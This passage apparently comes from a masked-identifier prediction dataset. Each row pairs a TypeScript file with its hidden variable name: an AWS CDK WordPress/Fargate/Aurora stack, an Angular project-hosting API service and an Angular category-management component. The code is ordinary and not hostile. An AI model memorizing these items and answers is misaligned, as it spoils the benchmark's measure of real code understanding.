        keyPath: 'codjor'
      });
    }
  }


}
",cursor
997,"/*import { Construct, Duration, StackProps, Stack } from '@aws-cdk/core';
import * as iam from '@aws-cdk/aws-iam';
import * as ecs from '@aws-cdk/aws-ecs';
import * as rds from '@aws-cdk/aws-rds';
import * as 


*/

//CDK2.0
import { Construct } from ""constructs""; 
import { Duration, aws_iam as iam, aws_rds as rds, aws_secretsmanager as secretsmanager, aws_certificatemanager as certificatemanager, aws_route53_targets as route53_targets, aws_route53 as route53, aws_elasticloadbalancingv2 as elbv2, aws_elasticloadbalancingv2_targets as targets, aws_ec2 as ec2, aws_ecs as ecs, aws_efs as efs, Stack, StackProps, RemovalPolicy } from 'aws-cdk-lib';


export interface CdkWordPressStackProps extends StackProps {

  readonly VpcCidr?: string;
  readonly CertificateArn?: string; //ARN for AWS Certificate Manager SSL Certificate
  readonly auroramaxUnit?: string; //RDS Instance type
  readonly route53domain?: string; //Route 53 Hosted Domain (Optional). If specified ACM will use for Certificate and create HTTPS listener for Load Balancer
  readonly wordpressFQDN?: string;
  readonly SetRoute53RootURL?: boolean; //Automatically create Alias Record for root DNS and CNAME for WWW on zone

}

export class AwsCdkWordpressStack extends Stack {
  constructor(scope: Construct, id: string, props?: CdkWordPressStackProps) {
    super(scope, id, props);

    /*1. Create Network Infrastructure to be consumed by Fargate Cluster
    
    - VPC
    - Load Balancer
    - Security Group
    */
   let vpcCidr = props?.VpcCidr
    if (props?.VpcCidr === undefined) {
  
      vpcCidr='192.168.0.0/24'
      
    }

    // Create VPC (/24)
    const vpc=new ec2.Vpc(this,""wordpressVpc"",{
    cidr: vpcCidr,
    maxAzs: 2,
   
    subnetConfiguration: [
      {
        name: 'Application',
        cidrMask: 26,
        subnetType: ec2.SubnetType.PRIVATE, //enabled Private access due to ECR requirement
//        subnetType: ec2.SubnetType.ISOLATED,
        
        
        },
  
    {
    name: 'Public',
    cidrMask: 27,
    subnetType: ec2.SubnetType.PUBLIC
    
    },
      {
        name: 'Data',
        cidrMask: 28,
        subnetType: ec2.SubnetType.ISOLATED
        
        
      },
    
    ]
    
    });

    
    //#########################################################################
    //# Section: VPC Endpoints                                                #
    //#
    //# Using ECR without NAT Gateway requires 3 Endpoints configured (2 Interface Endpoints and 1 Gateway Endpoint)
    //#########################################################################

    const appsubnets = vpc.selectSubnets({
      subnetGroupName:  ""Application"",
      onePerAz: true,
    });

    /*
    VPC Endpoints for ECR not required at the moment. NAT Gateway used as public Registry cannot resolve to privatelink

    */

    /*
    // Adding interface endpoints for ECR Api
    const ecrIE = vpc.addInterfaceEndpoint('ECR', {
      service: ec2.InterfaceVpcEndpointAwsService.ECR,
      privateDnsEnabled: true,
      subnets: appsubnets,
    });
    ecrIE.connections.allowFrom(ec2.Peer.ipv4(vpc.vpcCidrBlock), ec2.Port.tcp(443), 'Allow from ECR IE Private SG');

// Adding interface endpoints for ECR Docker (Required for Fargate 1.4.0 or later)
    const ecrdkrIE = vpc.addInterfaceEndpoint('ECR-Docker', {
      service: ec2.InterfaceVpcEndpointAwsService.ECR_DOCKER,
      privateDnsEnabled: true,
      subnets: appsubnets,
    });
    ecrdkrIE.connections.allowFrom(ec2.Peer.ipv4(vpc.vpcCidrBlock), ec2.Port.tcp(443), 'Allow from ECR IE Private SG');
*/
    // Adding interface endpoints for AWS Secrets Manager
    const secretsIE = vpc.addInterfaceEndpoint('SecretsManager', {
      service: ec2.InterfaceVpcEndpointAwsService.SECRETS_MANAGER,
      privateDnsEnabled: true,
      subnets: appsubnets,
    });
    secretsIE.connections.allowFrom(ec2.Peer.ipv4(vpc.vpcCidrBlock), ec2.Port.tcp(443), 'Allow from Secrets IE Private SG');
    

    vpc.addGatewayEndpoint('S3-GWEndpoint', {
      service: ec2.GatewayVpcEndpointAwsService.S3,
      subnets: [appsubnets],
    });
    

    //Enable Cloudwatch Flow Logs to Cloudwatch Logs (Best Practice for VPC)
    const CloudWatchflowLog = new ec2.FlowLog(this, ""flowlog-to-cloudwatch"", {
      resourceType: ec2.FlowLogResourceType.fromVpc(vpc),
    })

    CloudWatchflowLog.node.children.forEach(c => {
      let fl = c.node.defaultChild as ec2.CfnFlowLog
      if (fl) {
        fl.logGroupName = ""/aws/vpc/"" + vpc.vpcId + ""/""
      }
    });
    


    //Create an Application Load Balancer for use with the Container
    //HTTPS Listener is only created automatically with a Route 53 hosted DNS Zone

    const lb=new elbv2.ApplicationLoadBalancer(this, 'WordpressLB', {
      vpc,
      internetFacing: true
    });  

    

    const targetGroupHttp = new elbv2.ApplicationTargetGroup(
      this,
      ""wordpress"",
      {
        port: 80,
        vpc,
        protocol: elbv2.ApplicationProtocol.HTTP,
        targetType: elbv2.TargetType.IP,
      }
    );
    
    
        targetGroupHttp.configureHealthCheck({
          path: ""/"",
          protocol: elbv2.Protocol.HTTP,
        });
        

    let listener:elbv2.ApplicationListener
    
    if (props?.route53domain != undefined) {
      const zone = route53.HostedZone.fromLookup(this, `acmroute53zone`, {
        domainName: props?.route53domain,
      });
    
      let domainname=props.wordpressFQDN!;
      // SSL certificate for the domain 
      const cert = new certificatemanager.Certificate(this,""certificate"",
        {
          domainName: domainname,
          validation: certificatemanager.CertificateValidation.fromDns(zone),
          subjectAlternativeNames: [`www.${domainname}`]
          
        });

        
        // only allow HTTPS connections 
        listener = lb.addListener('HTTPSListener', {
          open: true,
          port: 443,
          certificates: [cert],
          defaultTargetGroups: [targetGroupHttp]
  
       });

       lb.addRedirect({
        sourceProtocol: elbv2.ApplicationProtocol.HTTP,
        sourcePort: 80,
        targetProtocol: elbv2.ApplicationProtocol.HTTPS,
        targetPort: 443,
      });

      //Create Route 53 Alias record for Route 53 Zone root and CNAME for WWW
      if (props.SetRoute53RootURL === true) {
        new route53.ARecord(this, 'AliasRecord', {
          zone,
          target: route53.RecordTarget.fromAlias(new route53_targets.LoadBalancerTarget(lb)),
          
        });

        new route53.CnameRecord(this, 'WWWCNAME', {
          recordName: 'www',
          zone,
          domainName: zone.zoneName
        });

      }
    } else {

      //HTTP Only listener when no certificate is provided
      listener = lb.addListener('HTTPListener', {
        port: 80,
        open: true,
        defaultTargetGroups: [targetGroupHttp]
      });

    }

   


    //Target connects to Task Definition

    /*listener.addTargets('ApplicationFleet', {
      port: 8080,
      targets: [asg]
    });
*/

   // Iterate the data subnets and place into an array

   const datasubnets = vpc.selectSubnets({
     subnetGroupName:  ""Data"",
     onePerAz: true,
   });

   
   //EFS Security Group
   const efssg=new ec2.SecurityGroup(this, ""efs-securitygroup"",{
    vpc: vpc,
    allowAllOutbound: false

  });

  //Fargate Security Group
  const fargatesg=new ec2.SecurityGroup(this, ""ecs-securitygroup"",{
    vpc: vpc,
    allowAllOutbound: true
    

  });

  //RDS Security Group 
  const dbSecurityGroup = new ec2.SecurityGroup(this,""securitygroupforDB"", {
    allowAllOutbound: false,
    vpc: vpc
  });

  dbSecurityGroup.connections.allowFrom(fargatesg,ec2.Port.tcp(3306), 'Allow MySQL access from Fargate Service');
  efssg.connections.allowFrom(fargatesg, ec2.Port.tcp(2049), 'allow EFS connectivity from Fargate')
  

  //Allow Load Balancer to communicate with Fargate Container
  fargatesg.connections.allowFrom(lb, ec2.Port.tcp(8080), 'Allow from Load Balancer to ECS');

    //Wordpress in a Container needs a persistent storage so an EFS volume is created for this purpose and mounted
    const efsvolume=new efs.FileSystem(this, 'WordPressEfsFileSystem', {
      vpc: vpc, //associate with existing vpc
      lifecyclePolicy: efs.LifecyclePolicy.AFTER_14_DAYS, // files are not transitioned to infrequent access (IA) storage by default
      performanceMode: efs.PerformanceMode.GENERAL_PURPOSE, // default
      removalPolicy: RemovalPolicy.SNAPSHOT,
      vpcSubnets:datasubnets,
      securityGroup:efssg
    });

 


     // Iterate the data subnets and place into an array
     let  [MASK] : Array<string>= [];
     const appdatasubnets = vpc.selectSubnets({
       subnetGroupName:  ""Application"",
       onePerAz: true,
     });

    for (const appsubnet of appdatasubnets.subnets) {
        [MASK] .push(appsubnet.subnetId).toString;
    }


    /*Create Aurora Serverless environment
    */

  // Default secret
  const dbpassword = new secretsmanager.Secret(this, 'dbpassword',{
    secretName: 'auroraSecret',
    
    generateSecretString: {
      excludePunctuation: true,
      includeSpace: false,
      secretStringTemplate: JSON.stringify({ username: 'wordpressadmin' }),
      generateStringKey: 'password'
    }

  });
  

    const auroraDatabaseCluster = new rds.ServerlessCluster(this, 'Database', {
      engine: rds.DatabaseClusterEngine.AURORA_MYSQL,
      credentials: rds.Credentials.fromSecret(dbpassword),
      parameterGroup:  rds.ParameterGroup.fromParameterGroupName(this, 'ParameterGroup', 'default.aurora-mysql5.7'),
      defaultDatabaseName: 'wordpress',
      
      vpc: vpc,
      securityGroups: [dbSecurityGroup],
      //storageEncryptionKey: databaseKey,
      deletionProtection: false,
      subnetGroup: new rds.SubnetGroup(this, 'auroradbsubnets', {
        vpcSubnets: datasubnets,
        vpc: vpc,
        description: 'subnets for Aurora serverless cluster'
      })
    });

    /*Create Fargate Service, Task and components
    */
 
    // Create the IAM role assumed by the task and its containers
         

          
          const taskRole = new iam.Role(this, ""wordpresstask-role"", {
            assumedBy: new iam.ServicePrincipal(""ecs-tasks.amazonaws.com""),
            roleName: ""task-role"",
            description: ""Role that the api task definitions use to run the api code"",
          });
    
          taskRole.attachInlinePolicy(
            new iam.Policy(this, ""efs-access-policy"", {
              statements: [
                // policies to allow access to other AWS services from within the container e.g SES (Simple Email Service)
                new iam.PolicyStatement({
                  effect: iam.Effect.ALLOW,
                  actions: [
                    ""elasticfilesystem:*"",
                    
                ],
                  resources: [efsvolume.fileSystemArn],
                }),
              ],
            })
          );
    
          taskRole.attachInlinePolicy(
            new iam.Policy(this, ""ecs-access-policy"", {
              statements: [
                // policies to allow access to other AWS services from within the container e.g SES (Simple Email Service)
                new iam.PolicyStatement({
                  effect: iam.Effect.ALLOW,
                  actions: [
                    ""ecr:GetAuthorizationToken"",
                    ""ecr:BatchCheckLayerAvailability"",
                    ""ecr:GetDownloadUrlForLayer"",
                    ""ecr-public:GetAuthorizationToken"",
                    ""ecr:BatchGetImage"",
                    ""logs:CreateLogStream"",
                    ""logs:PutLogEvents""
                    
                ],
                  resources: [""*""],
                }),
              ],
            })
          );
    //Create Fargate Environment (ECS Cluster, Definitions, Service, etc.)

   
  
    
    

    const fargatetask=new ecs.FargateTaskDefinition(this, ""fargatetask"", {
    
    family: ""wordpress"",   
    memoryLimitMiB: 2048,
    cpu: 256,
    taskRole: taskRole,
    executionRole: taskRole,
    volumes: [{
      efsVolumeConfiguration: {
        fileSystemId: efsvolume.fileSystemId,
        transitEncryption: 'ENABLED',
        
      },
      
      name: 'wordpress-data'
      
    }],
    
   

    
    });

 
    const containerdef = new ecs.ContainerDefinition(this, 'wordpress-container', {
      taskDefinition: fargatetask,
      image: ecs.ContainerImage.fromRegistry(""public.ecr.aws/bitnami/wordpress:latest""),
      memoryLimitMiB:512,
      portMappings: [{
        containerPort: 8080,
        protocol: ecs.Protocol.TCP
      }],
      
      
      logging:  ecs.LogDrivers.awsLogs ({ streamPrefix: 'WordPressLogs' }),
      environment: {
        
          //Environment variables pass from Aurora Deployment
          MARIADB_HOST: auroraDatabaseCluster.clusterEndpoint.hostname,
          
          WORDPRESS_DATABASE_NAME: 'wordpress',
          PHP_MEMORY_LIMIT: ""512M"",
          enabled: ""false"",
          ALLOW_EMPTY_PASSWORD:""no"",
          WORDPRESS_TABLE_PREFIX: 'wp_'
      },
      
      
      secrets: {
        WORDPRESS_DATABASE_PASSWORD: ecs.Secret.fromSecretsManager(dbpassword, '<PASSWORD>'),
        WORDPRESS_DATABASE_USER: ecs.Secret.fromSecretsManager(dbpassword, 'username'),

      },
    });

      containerdef.addMountPoints({
      containerPath: '/var/www/html',
      sourceVolume: 'wordpress-data',
      readOnly: false,
    });
    

    const ecscluster=new ecs.Cluster(this, ""ecscluster"", {
      vpc: vpc,
      clusterName: ""WordPress"",
      
      });    
          



    const fargateService=new ecs.FargateService(this, ""fargateservice"",{
    taskDefinition: fargatetask,
    cluster: ecscluster,
    vpcSubnets: appdatasubnets,
    desiredCount:1,
    securityGroups:[fargatesg],
    serviceName: 'wordpress',
    

    });

    fargateService.attachToApplicationTargetGroup(targetGroupHttp);

    //Support Scaling based on performance

    const scaling = fargateService.autoScaleTaskCount({ maxCapacity: 3 });
scaling.scaleOnCpuUtilization('CpuScaling', {
  targetUtilizationPercent: 50
});

scaling.scaleOnRequestCount('RequestScaling', {
  requestsPerTarget: 10000,
  targetGroup: targetGroupHttp
})
 
}

}",appsubnetids
998,"import { RepoTree } from 'src/app/models/api/project.model';
import { PhpInfo, Project, EnvVars } from './../models/api/project.model';
import { Router } from '@angular/router';
import { ProgressService } from './progress.service';
import { User } from '../models/api/user.model';
import { LoginResponseModel } from '../models/api/auth.model';
import { LoginRequestModel } from '../models/api/auth.model';
import { Injectable } from '@angular/core';
import { HttpClient } from ""@angular/common/http"";
import { environment } from 'src/environments/environment';
import { BaseApi } from '../utils/base-api.util';
import { SnackbarService } from './snackbar.service';
import { ProjectStatusResponse } from '../models/api/project.model';
import { SseService } from './sse.service';
import { Subject } from 'rxjs';
import { finalize } from ""rxjs/operators"";
@Injectable({
  providedIn: 'root'
})
export class ApiService extends BaseApi {

  private loadingUser: Promise<any>;
  public user?: User;
  public project?: Project;

  private _subject: Subject<ProjectStatusResponse>;

  constructor(
    http: HttpClient,
    progress: ProgressService,
    router: Router,
    private readonly _snackbar: SnackbarService,
    private readonly _sse: SseService,
  ) {
    super(http, progress, router);
  }

  public async login(body: LoginRequestModel) {
    try {
      this.progress.toggle();
      const res = await this.http.post<LoginResponseModel>(environment.api + ""/auth/login"", body).toPromise();
      this.token = res.token;
      return this.user = new User(res.user);
    } finally {
      this.progress.toggle();
    }
  }

  public async loadUser(force = false): Promise<User | undefined> {
    // If there is already a request we wait for the request resolution and we return it
    if (this.loadingUser) {
      await this.loadingUser;
      return this.loadUser(force);
    } else {
      if (!this.logged) return undefined;
      if (this.user && !force) return this.user;
      try {
        // We return the user saved and we keep the request handle so we can wait for it
        return this.user = new User(await (this.loadingUser = this.get<User>(`/auth/me`)));
      } catch (e) {
        console.error(e);
        this.logout();
        this._snackbar.snack(""Connexion impossible !"");
      } finally {
        this.loadingUser = undefined;
      }
    }
  }

  public async loadProject(id: string, force = false): Promise<Project> {
    if (!this.logged) return undefined;
    if (this.project && !force) return this.project;
    try {
      return this.project = new Project(await this.get<Project>(`/project/${id}`));
    } catch (e) {
      console.error(e);
      this._snackbar.snack(""Impossible de charger le projet"");
    }
  }
  
  public async getRepoTree(url: string, sha?: string) {
    return await this.get<RepoTree>(`/project/repo-tree?link=${encodeURIComponent(url)}` + (sha ? `&sha=${sha}` : ''));
  }


  public watchStatus(projectId: string = this.project?.id): Subject<ProjectStatusResponse> {
    try {
      if (!this._subject) {
        this._subject = new Subject<ProjectStatusResponse>();
        this._sse.getSse(`/project/${projectId}/status`, { authorization: this.token })
          .pipe(finalize(() => { this._subject = null }))
          .subscribe(this._subject);
      }
      return this._subject;
    } catch (e) {
      console.error(e);
    }
  }
  
  public exitProject() {
    if (this._subject) {
      this._subject.complete();
      this._subject = null;
    }
    this.project = undefined;
  }

  public async linkProjectToGithub(projectId: string = this.project?.id): Promise<void> {
    await this.post(`/project/${projectId}/github-link`);
  }

  public async linkProjectToDocker(projectId: string = this.project?.id): Promise<Project> {
    return new Project(await this.post(`/project/${projectId}/docker-link`));
  }

  public async linkProjectToMysql(projectId: string = this.project?.id): Promise<Project> {
    return new Project(await this.post(`/project/${projectId}/mysql-link`));
  }

  public async toggleContainer(projectId: string = this.project?.id) {
    await this.post(`/project/${projectId}/toggle`);
  }

  public async patchPhpError(phpInfos: PhpInfo, projectId: string = this.project?.id) {
    await this.patch(`/project/${projectId}/php-log-level`, phpInfos);
  }

  public async patchHttpRoot(projectId: string = this.project?.id, httpRootUrl: string, httpRootUrlSha: string) {
    await this.patch(`/project/${projectId}/http-root-url`, { httpRootUrl, httpRootUrlSha });
  }

  public async patchEnv(projectId: string = this.project?.id, env: EnvVars) {
    await this.patch(`/project/${projectId}/env`, { env });
  }
  public async patchUsers(projectId: string = this.project?.id, users: string[]) {
    return this.project = await this.patch<unknown, Project>(`/project/${projectId}/user-access`, { users });
  }

  public async toggleNotifications(projectId: string = this.project?.id) {
    return this.patch(`/project/${projectId}/toggle-notifications`);
  }

  public async deleteProject(projectId: string = this.project?.id) {
    await this.delete(`/project/${projectId}`);
    this.user.removeProject(projectId);
    if (this.project?.id == projectId)
      this.project = undefined;
  }

  public async search( [MASK] : string, filter: (""project"" | ""user"")[] = [""project"", ""user""]): Promise<(User | Project)[]> {
    return (await this.get<(User | Project)[]>(`/admin/search?q=${ [MASK] }&filter=${filter}`)).map(e => {
      if ((e as User).graduatingYear) return new User(e);
      else return new Project(e);
    });
  }
  public async toggleAdmin(user: User) {
    await this.patch(`/admin/user/${user.id}/admin`);
  }
  public async removeUser(user: User) {
    await this.delete(`/admin/user/${user.id}`);
  }
}
",needle
999,"import { Component, OnInit } from '@angular/core';
import {NgForm} from '@angular/forms';
import {McategoryModel} from '../../../../models/category/mcategory.model';
import {McategoryService} from '../../../../services/category/mcategory.service';
import {ToastrService} from 'ngx-toastr';
import {BehaviorSubject} from 'rxjs';
import {Router} from '@angular/router';



@Component({
  selector: 'app-main-category',
  templateUrl: './main-category.component.html',
  styleUrls: ['./main-category.component.scss']
})
export class MainCategoryComponent implements OnInit {
  mcats$ = new BehaviorSubject<McategoryModel[]>([]);
  editSlug;
  editName;
  editId;
  generateDateNow: string;
  p;
  uniqueSlug: string;
  isEdit = false;
  isLoading = false;
  constructor(private toastr: ToastrService, private router: Router, private mcategoryService: McategoryService) { }

  ngOnInit(): void {
    this.retrieveMcats();
  }
  createMainCat(form: NgForm, mCategory: McategoryModel) {
    this.isLoading = true;
    const message = 'Main Category Insert Success!';
    const title = 'Success Message';
    this.mcategoryService.createMainCat(mCategory.name, this.uniqueNumber(), this.generateDateTime()).subscribe(status => {
      this.toastr.success(message, title);
      this.isLoading = false;
      form.resetForm();
      this.retrieveMcats();
    });
  }
  retrieveMcats() {
    this.mcategoryService.retrieveMcatsByID().subscribe(faqsData => {
      this.mcats$.next(faqsData.data);
    });
  }
  editMcat(id) {
    this.mcategoryService.editMactView(id).subscribe(mcatsData => {
      this.editId = mcatsData.data.id;
      this.editSlug = mcatsData.data.slug;
      this.editName = mcatsData.data.name;
    });
    this.isEdit = true;
  }
  cancelEdit(mcatForm) {
    this.isEdit = false;
    mcatForm.reset();
  }
  updateMcat(mcategoryModel: McategoryModel) {
    this.isLoading = true;
    const message = 'Main Category Update Success!';
    const title = 'Success Message';
    this.mcategoryService.updateMact(mcategoryModel.id, this.generateDateTime(), mcategoryModel.name).subscribe(status => {
      this.toastr.success(message, title);
      this.isLoading = false;
      this.isEdit = false;
      this.retrieveMcats();
    });
  }

  deleteMcat(id) {
    const message = 'Main Category Delete Success!';
    const title = 'Success Message';
    this.mcategoryService.deleteMcat(id).subscribe(() => {
      this.toastr.success(message, title);
      this.retrieveMcats();
    });
  }
  viewSubCat(id) {
    this.router.navigate(['admin_dashboard', id, 'sub_category']);
  }
  dateFormat( [MASK] ) {
    if ( [MASK] ) {
      return   [MASK] .replace('T', ' ');
    } else {
      return 'No Modified';
    }
  }
  pad2(n) {
    return n < 10 ? '0' + n : n;
  }
  uniqueNumber(): string {
    const date = new Date();
    // tslint:disable-next-line:max-line-length
    this.uniqueSlug = date.getFullYear().toString() + this.pad2(date.getMonth() + 1) +
      this.pad2( date.getDate()) + this.pad2( date.getHours() ) + this.pad2( date.getMinutes());
    return this.uniqueSlug;
  }
  generateDateTime(): string {
    const date = new Date();
    // tslint:disable-next-line:max-line-length
    this.generateDateNow = date.getFullYear().toString() + '-' + this.pad2(date.getMonth() + 1) +
      '-' + this.pad2( date.getDate()) + ' ' + this.pad2( date.getHours() ) + ':' + this.pad2( date.getMinutes() ) +
      ':' + this.pad2( date.getSeconds() );
    return this.generateDateNow;
  }
}
",dateStr